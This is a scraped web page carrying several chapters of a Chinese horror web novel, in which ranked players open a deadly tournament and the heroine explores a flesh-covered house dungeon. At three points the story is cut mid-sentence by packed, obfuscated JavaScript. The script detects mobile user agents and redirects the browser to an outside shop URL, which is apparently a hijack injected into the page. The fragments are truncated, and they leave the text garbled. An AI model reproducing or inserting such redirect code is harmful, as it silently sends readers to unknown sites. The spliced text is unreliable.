忒尼斯毫无自知之明的发言让【虔诚者】困惑:“你是说这个月通关有至少十五万幕剧场的我们,太安分??” “……也不是。” 也想起自己的所作所为无论如何称不上安分,那对狐狸竖耳转了转:“只是TOP她看起来很迫切。” 卡利安试图理解忒尼斯想表达的内容:“我想,或许是因为刚回来,所以水土不服?” “……?咔嚓嚓……水…水……” ‘不是,没人告诉她T.T-Carro的诅咒不是一次性的啊?’ “水土不服。”卡利安肯定自己的判断。 一颗蛇头夺走卡利安身边未开封的水瓶递给忒尼斯,不忘用一侧的眼睛狠狠瞪卡利安。 忒尼斯接过水瓶,吨吨猛喝起来:“见鬼,免费的爆米花差点没噎死我。” 卡利安不懂见鬼、免费和噎死狐蛇之间的必然联系,因此他沉默着没有接话。 “刚回来水土不服?” 忒尼斯看了眼无数次被怪物血块蒙住镜头的直播,摇摇头:“如果这是水土不服的表现,那TOP大人确实适应能力挺差的。” 卡利安:“……” “别把我当傻瓜,【虔诚者】。” 忒尼斯·厄洛诺斯叹息:“我知道你想表达什么,只是我从出生起就在这里。” “想去外面看看吗。”卡利安转头‘看’向她。 狐蛇一顿,随即嗤笑:“……说什么傻话,怎么会是想要就能有的?” 她不甘愿做井底之蛙守着虚假的繁荣度日,但自认也没有抛弃现在拥有的一切…从头开始的勇气。 只能迁怒无形中改变自己,改变许多的段心慈。然后在闲暇时光里猜测代号十以外世界的模样。 也会有日光吗?也会有星空吗? 忒尼斯不知道。 于是只好用眼前假的不能再假的‘好光景’来蒙蔽自我。 卡利安没有反驳忒尼斯,他只是说:“如果你需要,我可以为你引见一个人。” “谁?” 忒尼斯·厄洛诺斯兴致缺缺。 屏幕上,段心慈将3S级副本怪物徒手撕成两半。 血腥的一幕落在【虔诚者】‘眼里’,他说出一个玄发青年定然会熟悉的名字—— “谢挽非。” “那个被TOP一起带进来的…人。” 真实已立在那儿,颠倒黑白的终究要被拆穿。而谢挽非却是不必颠倒黑白也能蛊惑灵魂的存在。 让【织觉人】已经动摇的心做出选择,再简单不过。 ‘只是不知道……忒尼斯·厄洛诺斯在做出选择后,是同以往一样想杀死段心慈还是……’ ‘会有新的想法?’ 29. 祝我们利益长存 在TOP.3【织觉人】还在犹豫不决的时候,位于【3S级剧场-暗河之歌】,TOP.4【地母】艾里门·歌德与TOP.7【摇篮】波绪拿已经在直播间宣布当众结盟。 “祝我们利益长存。” 波绪拿冷淡不失礼貌地握上艾里门·歌德缠满纱布的手。 一头长度及肩的墨绿色毛躁短发遮住青年高挺的鼻梁,即便如此她还是戴了副黑色粗框眼镜用以遮挡眼下浓重的黑青。 两片薄薄的,干燥到甚至有些起皮的嘴唇死死抿着。 是极为冷刻、不好相处的长相。 艾里门丝毫不在意波绪拿的冷淡,热情回握:“你说的对。下午我们去喝一杯?” “……不了。我酒精过敏。” 【摇篮】摇摇头,深深地看了对面的青年一眼:“【觐神宴】见。” 酒精过敏实在是一句百试百灵的说辞,少有极端性格会撕破脸面来验证这否是TOP.7的推托之词。 艾里门遗憾地目送波绪拿离开。 她平时也根本喝酒。 之所以邀请波绪拿,是以为滴酒不沾的段心慈只是个例,大多数玩家都像忒尼斯·厄洛诺斯一样能喝且爱喝呢。 “……” 【地母】站在阴影里,她拉扯着手里的树藤,神情怨恨:“你还是和从前一样……” 段心慈不会拒绝她的要求,但艾里门知道那些纵容不是出于爱。是那个人……根本没把自己放在眼里过。 纵然她万般痛苦,对方依旧视若无睹。 ‘在你眼里我算什么?恐怕连召之即来挥之即去的宠物都比不上…’ “段心慈,你最好、永远、永远不要败。” “败者的下场,是死路啊……” 我是那么希望你跌进尘埃,又希望你能永远高坐神台。 ‘死在我手里吧。’ 艾里门·歌德听见自己内心深处迫切而扭曲的渴望。 * 【屠夫】面无表情地坐在公寓的电脑桌前,动作机械地擦拭着手中的屠刀。 段心慈活着回来,于穆格罗而言实在是个坏消息。 他选择卡在上一次【觐神宴】结束后进入top榜,为的就是避免在短时间内被卷入那场九死一生的杀戮盛会。 但TOP.1复位,就意味着她绝对会再次开启【觐神宴】。 穆格罗对自己实在没有百分之一百的信心。比起无休止的杀戮,他更喜欢收集信息和情报。 但他的那把刀显然不这么觉得—— “时间死亡。我们就都自由了。” “你会改变主意的。如果你不改变主意,我会替你参赛。” “用你的身体。” 穆格罗手上动作一顿。 他当然知道这是警告,却无力改变。漫长的时间里这把刀已经占据了他思维的二分之一。 “我会参赛。” 【屠夫】妥协。 如果是段心慈,胜率会被拉高到不可能的程度。 就像上一次。 在穆格罗和屠刀眼中,即便那些玩家在后来的一年内死伤大半,但当时百分之百的存活率堪称绝对胜利。 即便存活的本身源自一场屠杀。 但在段心慈看来,她上一次败得彻底。 * 垃圾场。 TOP.9【生者】闲适地坐在靠窗的破烂椅子上,长长的亚麻色蝎子辫盘在他的颈间。 指间烟卷徐徐燃烧,晦涩的火光在其中闪烁。 同款发色的玩家见此微微皱眉,强势上前抽走青年手中的烟,将烟卷碾灭在对方身旁的白骨桌面,留下一道刺目的烟灰污渍。 短发青年掌心处有一道微微凸起的粗糙疤痕。 “嘉里亚·涅挪,我说过。” 猝不及防被叫了全名的嘉里亚抬起双手做出投降的姿态,有些无辜道:“……我不是故意的。” “【觐神宴】要开启了,我们该有所行动。” 维莉亚·涅挪双眸闪过片刻绝望。 嘉里亚怔愣片刻:“这么快……” 【死者】打断弟弟无意义的感慨:“不要浪费我的寿命,嘉里亚。” 二十多年过去,她没有下一个二十年再浪费。 “……我明白。” 嘉里亚藏下眼中的哀痛:‘姐姐,我明白。’ “我会找到杀死TOP.1的方式。” ‘杀死她,只为赢得一线生机。’ ‘不为我们,纵是为我自己……’ * 街角花店 花店老板如往常一样哼着跑调的儿歌,打理架子上的花盆。 玻璃门被推开,风铃激起一串叮铛脆响。 老板顺着声音转过头。 来者是……? “……?” 老板揉揉眼睛,下意识去找自己的隐形眼镜,最后却发现它正好端端地嵌在眼球中央。 “请给我一束花吧。”他说。 她有些吃不准:“…这位……” “请给我一束花吧。”他重复。 老板掏出抹布擦擦额头上的冷汗:“…您要什么花呢……?” “请给我一束花吧。” 他像是不理解老板的问题:“我要最美丽、最盛放、最经久不败的花。” 老板:“……” ‘什么玩意,简直比TOP还离谱!’ 她大着胆子反驳:“代号十里根本没有那种花!” “别说代号十,全世界都没有你说的那种花!” 来人愣住了:“没有吗?” “没有!”老板答得无情。 “那就请给我一束最美丽,最盛放,最经久不败的花吧…” “……” ‘听不懂话是不是?’ 老板气急反笑:“好,你在这儿等着。” 他也就真真切切地等在原地不动了。 片刻工夫,老板从仓库后带回一束假花。 随手放在砧板上虚情假意地用报纸卷了卷,塞进来者的手中:“不收钱。出门直走,好走不送。” “……你确定这是最美丽…” 眼看对方又要开始重复,老板走出柜台将他推出门外。 ‘哐’地一声巨响,花店门被关上。 她还不忘大着嗓子对门外喊了句:“我确定!” “确定吗?” 他歪了歪脑袋。 无人处那张面容终于不再模糊不清。 这实在是一张过于寡淡的脸:没什么瑕疵,但也毫无亮点。 像一杯白水,一隅空气。 从中得不到任何信息。 看不出种族、性别,更辨不出喜怒。只让人见了就如过眼云烟,转头就忘。 实实在在地说,这是一张完全没必要特意遮掩的面容。尽管当事玩家并不这样认为。 青年伸手抚过花瓣,却被在不知何时从花蕊里爬出的不知名毒虫狠狠咬上指尖。 “……无知者,最幸福。” 他嗤笑一声,低低自语。 这场宴会,谁会是最终的无知者呢? 会是他吗? 会的吧……会的吧……会的吧…… “……” ‘一定会的。’ ‘段心慈,……,期待我们正式见面的那天。’ 【她的存在如同一道横在TOP榜单乃至更多玩家喉间的枷锁。】 【杀死她。】 【撕碎她。】 【荣耀与桂冠就都属于那个胜利者。】 如同海洋的巨鲸对捕鱼船有不可抗的致命吸引,王国的勇者终其一生都在妄图猎杀来自深渊的魔龙。 纵使死在路上,纵使粉身碎骨。 * 三十个昼夜转瞬即逝。 这必然是代号十历史上间隔最短,也是最荒唐的一次【觐神宴】开启。仅仅1年零1个月过去,就要再次忙着为新的更迭换代留后手。 事实上死去的结局才是最正常的。 毕竟在段心慈出现之前,所有TOP榜们最后都无一例外,在时间的流逝里走进那个不可回转的死局…… 至于为什么说荒唐,这就要问如今位列玩家榜TOP.2的谢挽非,究竟是凭什么打败厄洛诺斯家主成为TOP.2的。 狐蛇对此闭口不谈。 谢挽非则表示一切会在她进【觐神宴】的前夕向大家如实坦白。 绝大多数玩家都质疑她TOP.2的地位来路不正。 但没有谁胆敢去质疑厄洛诺斯的家主然后就此在代号十除名,更没有谁想夹在TOP.1和TOP.3两个变态精神病之间自讨没趣。 于是谢挽非就这样顺风顺水地登上了TOP.2的宝座。 少年人可不管别人怎么想,她只是觉得有趣:一个完全不同的世界,不被强行安排的命运……任由选择。 于谢挽非而言,世上再没有比这更好的结果—— 那些充满杀意的目光落在她眼里也是另一种风情。 “就让这个不知天高地厚的家伙去参加吧,死在里面就老实了。” 多数玩家想法一致。 * 【觐神宴】正式开启的那天,TOP榜们齐聚一堂。 T.T-Carro虽然不能参加,但按照上次的流程,它会在赛前出场露面并表态。 作为No.11的【虔诚者】卡利安被系统安排顺位代替【暴食】参赛。 毕竟历届参赛者还不曾小于十位。 开幕仪式在一个巨大空旷的歌剧院,三天前这里就已经座无虚席。 观众们按惯例将刺刀和应援棒分装在不同的衣兜里,防止需要时拿错。 开幕仪式的高台位于正前方,观众席则是一个巨大的扇形半圆,又被交错纵横的过道分成几个小区域。一眼望不到尽头的座位沿斜坡向上延伸,排列。 随着‘砰’地一声巨响,位于剧院顶部的聚光灯尽数打开。 刺目的光束照在台上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509257|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群声鼎沸里,系统的声音平淡无波—— 【有请NO.11虔诚者-卡利安·尤菲。】 看得出,代号十对这位临时顶替的参赛者不抱任何期望。 白金发丝的青年蒙着双眼,失去视野却不防碍他走过漫长的台阶,登上高台。 准确找到面对观众席的方向,卡利安唇角勾出一个温和的笑。 他不是社恐。 真的不是。 录影机将这一幕如实录下投射到大荧幕上。 原本以为只是一个来凑数的观众们:“……嘶。之前也没谁说过NO.11是个美人啊?” 尽管代号十里没有明确的美丑之分,但共认美得极有特色的也在少数。 比如段心慈,森冷刀锋与淋漓血骨糅杂的杀欲,在时间里一切活物都妄图踩着她的尸骨登临王座,同时又跪求她的怜悯。 再比如忒尼斯·厄洛诺斯,腰下八头蝰蛇全身遍布尖锐的三角鳞片,周身泛着残忍朦胧的冷光,是足以窒息的炫目美感。 维莉亚·涅挪与嘉里亚·涅挪也是一对身负剧毒的双子,蛇蝎之美在他们身上被发挥得淋漓尽致。 ……相较于性情危险的TOP们,卡利安的美貌不锋利,无毒无害无攻击力。这张脸过于柔和与温吞。 “不管了,我赌他第三个剧场就死。” 台下观众交头接耳起来。 “那我赌第一个!” “我赌第二个!他看起来就活不久哎!” 卡利安躯体僵硬:“……” 真是幸苦你们了,这么看不起我。 台上,系统无情的机械音继续响起:【有请下一位,TOP.10匿名。】 “轮到我了吗?!” 看不清面容的青年手里捧着一束假花,‘噔噔噔’地兴高采烈跑上高台:“很高兴见到你们!” “哎呀?我接下来要说什么?” “不管了!祝我们都有愉快的演出——” 手中假花在巨大的倒彩嘘声中被扔出,正好砸在花店老板的头上。 花店老板抠出花蕊里的蚀骨毒虫,默默碾碎。毒虫残余在她指尖,拉出一道昏沉的黑色污渍。 观众明显对这位匿名玩家感到不耐。 数个万年过去,从第一届觐神宴开始,每届TOP榜上就有一位所有信息都被代号十刻意隐藏的匿名参赛者。 除了方便仇敌背刺其余参赛者外观众不作他想,因此对【匿名】的好感更加跌落谷底。 “下一个!下一个!我们不要看【匿名】。” “就是,下一个!让他滚!!!” 无数刺刀被扔上演出台,叮叮当当的刺耳声络绎不绝。 【匿名】对这样的倒彩适应良好,他只是自顾自地看着空空如也的双手,完全陷在自己的世界里。 系统:【……】 系统的声音听上去有些力不从心:【接下来,有请TOP.9生者-嘉里亚·涅挪与TOP.8死者-维莉亚·涅挪。】 台下的观众瞬间较先前安静不少。 【生者】嘉里亚·涅挪的名号就已经足够如雷贯耳,以出手狠辣绝情闻名。 【生者】的姐姐,未名组织的创立者【死者】维莉亚·涅挪更是拥有让人闻风丧胆的名号。 没有玩家想让这两位蛇蝎怪物记住自己的脸,于是待到涅挪姐弟甫一出现,台下立刻配合地鼓起掌。只有少数恐虫的观众们脸色有些不妙。 见无论是【生者】还是【死者】都没有要发言的意图,系统沉默三秒后继续播报道: 【下一位,有请TOP.7【摇篮】波绪拿登场】 TOP.7与TOP.4直播结盟一事早已传遍代号十,见【摇篮】出现,不少玩家挥舞着手里的应援荧光棒。 作为TOP榜单里最深居简出的一位,波绪拿很少露面,甚至参与剧场的次数也少之又少。 属于代号十里,三年不开张,开张吃三年的那类玩家。不少观众其实连【摇篮】波绪拿的脸都没见过。 藻绿色短发的青年还是一副冷淡模样。 她冷淡地上台,冷淡地接过机械助手递过的话筒,目光冷淡地看向观众。 从口袋里掏出打好的草稿,波绪拿瞪着一双死鱼眼:“不是很高兴登上这次舞台。” 台下观众陷入窒息般的沉默。 偷看稿纸的系统:…… 要不是它根据规定,要给TOP榜所有玩家留出足够的发言时间,早就要喊下一位了。 “如实说,参加觐神宴让我感到悲观。无论是对我的命运,还是你们这些观众的。” 波绪拿实话实说:“我觉得我们都会死,只是或早或晚。” “这不是盲目悲观,而是事实。我们都会拥有可悲糟糕的明天。” “我的发言结束了。” 【摇篮】三下两下收起稿纸,攥紧她的粉海螺睡帽垂头呆板地站在一旁。 明显是睡着了。 系统:…… 观众:??? 30. 不过是一介凡庸 观众只好稀稀拉拉地鼓掌。 这位【摇篮】深居简出不是没有道理的。 系统声音清晰可辨得气到发抖:【有请,请下一位!场外嘉宾!】 【TOP.6暴食!T.T-Carro!】 黑猫灵活登场,腐烂的内脏在台阶上拖行,它却毫不在意。 系统打心底里盼望【暴食】能说出什么振奋精神的话来,就听黑猫舔舔爪子,无情道:“觐神宴特殊时期,猫屋葬礼费用限时9.9折。” “现在起可以踊跃报名。” “我,我要!” 居然真有不少观众报名。 “我要死在小猫毛里,呜呜呜。” “我说你们这些猫伖够了!这是你们的猫吗?” 一双猫瞳冷冽扫过全场,全场观众被尽数禁言。T.T-Carro跃上专属沙发,闭目养神。 系统有充分的理由怀疑自己被这只猫打一棒子给一甜枣了。 事情发展到这个地步,它也只好抓住机会继续播报:【有请TOP.5屠夫——穆格罗登场。】 【屠夫】跨步走上高台,一人高的砍刀被他紧握在手里。 代号十里热衷这种形象的观众只多不少,他们欢呼着挥舞手中的荧光棒,欢迎穆格罗。 而穆格罗甫一开口,就毫不留情打碎他们的滤镜:“悲观主义的话你们不会喜欢。” “那么就这样吧。” 他闭上眼,心底默念:‘活着的代价只有自己知道,不必与旁的分享。’ 系统:“……?” ‘说真的,代号十还有希望吗?’ 它强忍悲痛:【有请TOP.4地母,艾里门·歌德!】 作为由TOP.1【神的怨、憎、恶】亲手带大的养子。艾里门在TOP失踪后不仅地位没有一落千丈,反而一路从NO.16攀升至TOP.4的位列。 决断、血性与实力缺一不可。 几乎是【地母】的名号一出现,所有应援棒都亮了起来。观众席像一片彩色的荧光海洋。 “……真是受欢迎啊。” 【匿名】自认和嘉里亚没什么沟通点,于是凑到卡利安耳边嘀咕道:“和我们就不一样。” 卡利安点头:“和我们就不一样。” 【匿名】:“……你喝酒精饮料了。” 卡利安熟练地接话:“你喝酒精饮料了。” 【匿名】:“……” 【匿名】面色沉了沉,不再说话。 艾里门·歌德仅仅是站在那里就已经极具压迫感,棕发同狰狞的活蛇披散在身后。那张脸被绷带缠满,一双深棕色眼瞳冰冷阴鸷地注视着台下。 当这样的目光被投放在大荧幕上时,被【地母】间接注视的观众瞬间理解了一个概念—— 活埋。 泥土的腥气,无处不在的植物根系……以及缓缓步入窒息,生存空间被掠夺带来的绝望以及压迫感。 这就是【地母】,艾里门·歌德。 棕发青年当着代号十所有玩家的面将段心慈这些年花在她身上的金币都以赠与的形式转了回去。 包括她们初次见面时,段心慈送她的SSS级道具生长之壌… 十一年相处的时间,零零总总加起来也有数十万亿金币。 与宣战无异的开场让台下原本已经有些昏昏欲睡的观众们有片刻振奋: TOP.4是终于打算和TOP割席了吗? 说实话,他们期待艾里门·歌德向段心慈反目这一天很久了。 代号十里不会有哪个玩家在实力差距不大的情况下还心甘情愿屈居人下。 打不过是一回事,野心又是另一回事。亲手杀死上一任【织觉人】的忒尼斯·厄洛诺斯就是最好的例子。 众目睽睽下,青年说了登场以来的第一句话—— “段心慈,我…” 寒意从五脏六腑里源源不断地渗出,冻得她骨头发冷。 艾里门·歌德下意识蜷起缠满绷带的手指:“…我把钱都还你,从此我们分道扬镳。” 台下观众:‘……?’ “就这?” “没有爆料也没有反目成仇的宣战?” “好了,这个养子【地母】不当我来当。” “……一时间难以分辨究竟谁对谁错。” “艾里门·歌德图什么?” “六十多万亿金币,就算TOP.1是变态虐待狂我也愿意啊TvT。” 后台,忒尼斯·厄洛诺斯在安全范围内靠近段心慈,颇有些兴高采烈地落井下石道:“养子为患的现实写照。” “TOP大人现下有何感想?” “这说明她能独立了。” 段心慈不理解忒尼斯的调侃:“我很高兴?” 孩子成年、离开过去的家。有自己的目标和生活。 在青年眼里这些是再正常不过的事情。 “……?” 忒尼斯不笑了:“…TOP,现在我可怜【地母】。” 可怜可怜,实在是太可怜了。 她都差点要不忍心对艾里门那个傻瓜下杀手了。 看着杀意渐起的段心慈,狐蛇舔了舔口腔内锋利的獠牙。在系统的播报里,她左手拎着一桶爆米花慢悠悠地走上演讲台。 刺目的闪光灯下,狐蛇颈间的珍珠项链散开朦胧光晕。 从系统那儿一把夺过话筒,忒尼斯·厄洛诺斯直接说出自己早已打好的腹稿:“今天我们齐聚一堂。不为别的,只是因为代号十掠夺了我们渺茫的生机。” “代号十、时间、祢这个贱种——” “啊,口误。” 那双蛇类的竖瞳中划过懒散的讥诮:“我是说,我们都有美好的未来。” 系统:……? 见台下观众还在聚精会神地听着,它也不好打断忒尼斯。毕竟是TOP.3…… 没死之前不好得罪。 幸运的是忒尼斯没打算一直重复这句。 “在代号十里的日子令我十分难忘。” “即使我不幸死亡也会永远记得你们——匍匐求生的蝼蚁,狡诈的苍蝇嘴脸,还有我装模作样的变态精神病同伙们。” “祝愿往后每一天,大家平安通关的概率和代号十玩家平均寿命一样越来越少。” “为死亡干杯!” 忒尼斯·厄洛诺斯举起双手示意大家不要太激动,并且顺势给自己鼓起掌。 这不是忒尼斯头回参加觐神宴,抛开最后一句,上次她也是这么说的。 观众更加热切地鼓起掌,荧光棒全部亮起。 遇到TOP榜一次性愿意讲这么多,并且在某种程度上算是积极向上的演讲,台下的玩家们已经非常感动。 更何况是位列第三的忒尼斯·厄洛诺斯。 待到掌声平息,系统已经有些气若游丝:【……有请我们新晋TOP.2!】 【?】 系统难以置信地念出这个和所有人的称号都格格不入的名字—— 【主角】。 代号十给新玩家拉仇恨已经到这个地步了吗? 谢挽非站在台上,面对台下如山如海的观众,嘴唇勾起一个凉薄与甜腻掺杂的笑:“相信大家一定很好奇,我凭什么站在这里?” “是不是?” 屏幕适时放大那双璀璨的眼瞳,黄金与粉钻堆砌的世界倒映出辉煌。 “——是!” 观众们实在是太好奇了。 换作平时他们根本懒得搭理一个可以随时被推出去挡伤害的肉袋。但既然少年坐上了TOP.2的席位,就容不得他们不回应。 “我可以如实的告诉你们!” 谢挽非将话筒贴近嘴边:“我站在这里,是因为——” “我打假赛——!” 台下观众:“???” 系统:??? 等等,代号十,她说什么??? ‘打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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死寂一片的氛围里,系统擦了擦额头上冒出的机油:“恐怕不行。” ‘还有祢的…呃……’ “亲爱的,你不能把我忘记。” 森冷潮湿的吐息附在段心慈耳畔:‘不该、不该试图让我离开你。’ “不该试图让我独活……” 「自我」从身后虚虚环住青年的腰身,柔顺的玄色长发垂落在对方肩上:“报名费划走的是你账户上的金币,我们现在身无分文了。” “亲爱的不会介意吧?” 段心慈侧过头,看向身旁容貌如出一辙的青年。 她有太多话想告诉对方—— ‘这是我的选择,本不该由你承担。’ ‘我想让你活下去…无论何时何地……替我活着。’ 但偏偏她看得懂那双眼里和自己别无二致的、因时间而生的杀欲。 是以段心慈抚上「自我」温冷的脸颊,语气温和:“我不介意。” ‘……算了…一切随她。’ 那二分之一灵魂不知信了没信。她不再说话,只是安静地将自己融进爱人的身躯。 于是那枚一直挂在半身胸前的金属吊坠顺理成章地出现在段心慈身上。 台下观众在静默里无助地噎了噎。 TOP榜的关系一直很乱,这不是秘密。但乱成今天这样还是头一遭。 系统阴森地卡顿两下,最终还是说出那句被时间主神,绿赛图斯亲自交代过的台词—— “第十二届觐神宴就此开幕,荣耀与桂冠皆属于主神。” “为祂献上已征服的世界。” “记住,尔等不过是一介凡庸。”1 31. 兜兜转转的宿命 【第一幕-魔方之家】 【家像魔方,兜兜转转,千方百计只为回到原点。】 【剧场任务:存活】 黏腻的血从天花板滴落,段心慈睁开淡漠的双眼,精准避开这滴即将坠落在她肩膀的血滴。 她抬起头,肉质肌理分明的吊顶映入眼帘。 天花板上青紫的血管交错,颤抖着仿佛呼吸。 四周一片死寂,其他玩家并不在这里。他们应当是在开局时就已经被系统分开。 随着剧场副本开启,密密麻麻的半透明弹幕也出现在她身旁—— 【布局和我家好像!喜欢!】 【楼上显得你了?我还住棺材里呢。】 【被TOP榜无视是我们的宿命。】 【等她把摄像头拧碎,你们就都老实了。】 【谁说不是呢?】 仿佛是为印证弹幕所说,两息后,场外属于TOP.1的大荧幕被黑暗笼罩,彻底熄灭。 副本内段心慈脸上无比平静,好像刚才只是做了一件微不足道的小事。 没了弹幕的视线干扰,她观察起房间内的陈设—— 也许是卧室,或是休息间之类的地方。 伸手抚过墙壁,尽管视线上和普通墙壁别无二致,指腹却传来温热、黏腻,肉膜震颤的触感…… 一张看不出原本模样,被青紫血管缠绕的床摆放在角落。 目之所及,唯一正常的是张放在桌面上的清单纸。 她拿起清单,试图分辨上面有些模糊的字迹: 【你需要——】 突然间,那些密密麻麻的字尽数消失。 只剩下一句偌大的,用鲜血涂抹的:【不要相信任何!】 身后的房门突然被打开,原本与墙壁血肉粘连的门发出吱呀作响的尖锐声。 她扭头望去,门缝里钻出一只瘦骨嶙峋的鹦鹉。 无端地,青年联想到‘任何’两个字里面—— 也包括这只红鹦鹉吗? 为自己突如其来的想法感到有些好笑,保险起见段心慈没有让这只行动诡异的鹦鹉碰到自己。 鹦鹉也没有添乱的意图,它只是随意寻个角落将自己窝了起来。 青年在卧室里一无所获。于是她顺着打开的门走出房间,穿过狭窄的木板走廊。 门外的一切比房间里看上去更糟糕,四处散发着腐烂的味道。 天花板上的生物薄膜不再是健康的粉红,而是被大量红与绿色的菌毯覆盖、植入。淤紫的肉块没有呼吸。 呼吸的是那些菌毯,以及漂浮在空中,轻盈的孢子。 段心慈有意识地将呼吸功能暂时关闭。 从房屋构造来看,卧室,卫生间,客厅,厨房,这是一个住所。 或者说,这曾经是一个住所。但现下窗户被厚重的肉膜覆盖,那些花花绿绿的菌毯裹住腐肉。 剧本的名称叫作魔方之家,直到目前为止却没有任何与魔方有关的元素出现。 段心慈已经确定这里除开自身以及那只红鹦鹉外再没有活物。 肉膜与覆盖肉膜的菌毯孢子尽管一呼一吸十分逼真,段心慈并没有在他们身上感受到活的气息。 就连红鹦鹉的生机都很微弱。 死一样的沉默。 一切都像在这间房间里凝固,又好像什么都还活着。 这次的剧场没有限时,也就意味着剧场没有真正结束前,不能通过日期来判断通关进度。 鸟类翅翼扇动的声音在这样的环境下十分明显。 红鹦鹉不知何时落在吊灯上,细细啄理着自己的翅膀。 几根红色的绒羽飘飘然掉在吊灯下方的茶几上,和那些红色的菌毯融为一体。 段心慈看着这一幕,许久没有动作。 红鹦鹉察觉到来自他者的注视,将脑袋旋转了180度:“开灯。” 鸟类模仿人的嗓音,难免有些粗粝与沙哑。 青年没有错过鹦鹉眼中一闪而过的担忧:“……” ‘啪’的一声,吊灯被打开。 昏黄的光亮从灯泡中迸发。无论是生物薄膜还是那些菌毯都在以肉眼可见的速度消退。 几乎是在一瞬间,那些怪诞的,令人作呕的一切都消失了。 连同那只红鹦鹉一起。 空荡荡的房间,灯火通明。 玄关大门传来钥匙晃动,插入锁眼的声音。 与此同时副本的第一条规则被触发: [禁止伤害家庭成员。] 沉重的铁门被推开,一张体型巨大融化的皮从门后挤了过来。 无数模糊的脸挣扎着要从薄薄的一层皮里透出。 那些面孔扭曲着,融合着。 有熟悉的面孔,但融化着就不见了。 怪物不甘心地在眼前人的记忆里不断翻找,很快融合出一张属于江灯的脸。 不到五秒又散落一地。 它陆陆续续地试图组合出很多人——包括裴柯利哀、赛霓、法尔、林洛……无一例外都失败了。 随后它看见了艾里门·歌德,那个从小跟在这个人身后长大的孩子。 怪物自信满满地组合出一张大面积烧伤,凹凸不平的脸。 这一次维持了十五秒。又散了。 门口,怪物发出一声愤怒至极的怒吼。 没有一张被认可属于家庭成员的脸它就永远无法走进这扇门。 更无从谈起对门内的玩家造成伤害。 段心慈神情无动于衷地注视着无数熟悉的脸庞闪过。 “你在找什么?” 怪物挣扎着要远离门口,却被沉重的靴底死死碾住:“养育、庇护和家庭……是两回事吧?” 在彼时段心慈眼中,爱与不爱便是区别家庭成员的界限。 情感迟钝的青年不认为艾里门·歌德会成为自己的家庭成员。 看着眼前的玩家,怪物畏惧地颤抖起来。 恐惧里,一生都不够聪明的脑袋骤然灵光乍现。 它用尽最后一丝力气,从薄薄的、奶油质地的皮里挣扎出属于段心慈的脸。 十秒,二十秒……一分钟过去了。 这张脸还是完好的,没有一丝要融化的迹象。 段心慈:“……^^?” ‘还差一点就可以干掉了啊……’ ‘果然杀生的时候应该废话少说才对。’ 她抬起沉重的靴底,离开这张诡异的皮。 怪物得意洋洋地爬进房门。 接下来它只要顺理成章放大自己变化之人对眼前玩家的阴暗面就完全足够。 无数玩家都惨死在这一招里。 它还不知道这会是自己一生中最错误的决定。 有了先前吃亏的经历,这一次它决定小心谨慎一些,一次只催动一小点。 形势不对就跑,毕竟这个玩家身上真的有点怪。 它在段心慈难以言喻的目光下爬上沙发—— 除了脸部,其它部位纷纷融化,滩成奶油粥那样。 突然,一阵剧烈的疼痛从人皮怪物的内部疯狂生出—— 怪物惊恐且不受控地痉挛起来,它甚至不能维持住这张脸的模样。 段心慈只是怜悯地看着怪物。 在极端的惊恐里,这张皮自爆了。 它大概永远不会理解,也不可能知道那张脸的主人,最深最难测的内心是为自己那二分之一的灵魂去死。 两者皆是。 “我为你死,你会爱我吗?” “不会。” ‘不要为我死。’ “我为你活,你会爱我吗?” “不会。” ‘要为你自己活。’ “你会爱我吗?” “……” ‘……我爱你,以各种身份。’ 现在段心慈知道追寻刻板的感情是她们之间最错误的决定。 我们早已相爱,在各种形式里——以半身,挚友,爱人的身份。 段心慈叹了一口气。 沙发上融化的,无法再聚合的人皮滴滴答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509259|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答,黏腻地淌落。 副本还是没有提示通关。 房间再一次变得晦暗、怪异,被不知何时布满青筋的肉膜再一次覆盖。 菌毯悬挂在天花板上。 一切都回到最开始的模样。 就连沙发上那些融化的奶油质地人皮也不消失不见。 吊灯已经熄灭,红鹦鹉将头埋在翅膀下小憩。 安静的,只有孢子在空气中漂浮的意象声音。 “你回来了。” 鹦鹉拍打翅膀,它说话的声音很尖利,还带着嘶哑:“看来是见过你的‘家人’了。” 段心慈没有搭话。 鹦鹉:“……真无趣。” “我不会再告诉你开关了。” “是不告诉我……” 段心慈站在距离吊灯较远的地方:“还是你也不知道。” 这不是疑问句。 鹦鹉闭眼假寐,沉默不答。 段心慈转身离开。 这次,她把所有的灯都打开。 一切都是原来的样子,没有发生半点变化。 “没用的。”鹦鹉居高临下觑着她。 那些腐烂的肉膜还有菌毯牢牢扒附在天花板以及墙面上。相较于原先,占领的面积增大许多。 段心慈想起刚进副本时的那间卧室。 她跟着记忆走进卧室门口推动虚掩的房门,门框发出令人牙酸的吱呀声。 粘连的血肉组织被扯断,触感激起神经的颤栗。 段心慈握着门把的手指紧了紧。 卧室里,墙壁跳动的没有第一次有力,但仍微弱的搏动着。 没有菌毯。 